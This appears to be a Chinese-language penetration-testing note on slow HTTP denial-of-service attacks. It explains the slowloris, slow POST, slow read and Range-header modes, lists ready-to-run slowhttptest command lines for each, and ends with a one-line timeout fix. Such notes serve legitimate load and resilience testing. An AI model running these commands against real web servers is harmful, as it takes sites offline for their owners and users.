工具:slowhttptest
攻击模式:
slowloris:完整的http请求是以\r\n\r\n结尾,攻击时仅发送\r\n,少发送一个\r\n,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。
slow http post:原理和slowloris有点类似,这次是通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待。
slow read attack:向服务器发送一个正常合法的read请求,请求一个很大的文件,但把TCP滑动窗口设置的很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:1.tcp窗口设置要比服务器的socket缓存小,这样发送才慢。 2.请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存,同时攻击端一直说自己收不到。
slowhttptest安装
kali直接安装 apt install slowhttptest
实例:
slowloris模式:
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u "url" -x 24 -p 3
slow post模式:
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u "url" -x 10 -p 3
slow read模式:
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u "url" -p 3
Range Header test:在http请求的RANGE HEADER中包含大量字段,使得服务器在服务端将一个很小的文件分割成大量的更小的片段再压缩。分段压缩过程消耗大量的服务器资源,导致DOS。
slowhttptest -R -u "url" -t HEAD -c 1000 -a 10 -b 3000 -r 500
测试的时候,添加代理
slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u url -p 5 -l 350 -e lhost:lport
然后查看浏览器网络连接时间对比
明显连接超时,异常访问时间。
修复建议:
对web服务器的HTTP头部传输的最大许可时间进行限制,修改成最大许可时间为20秒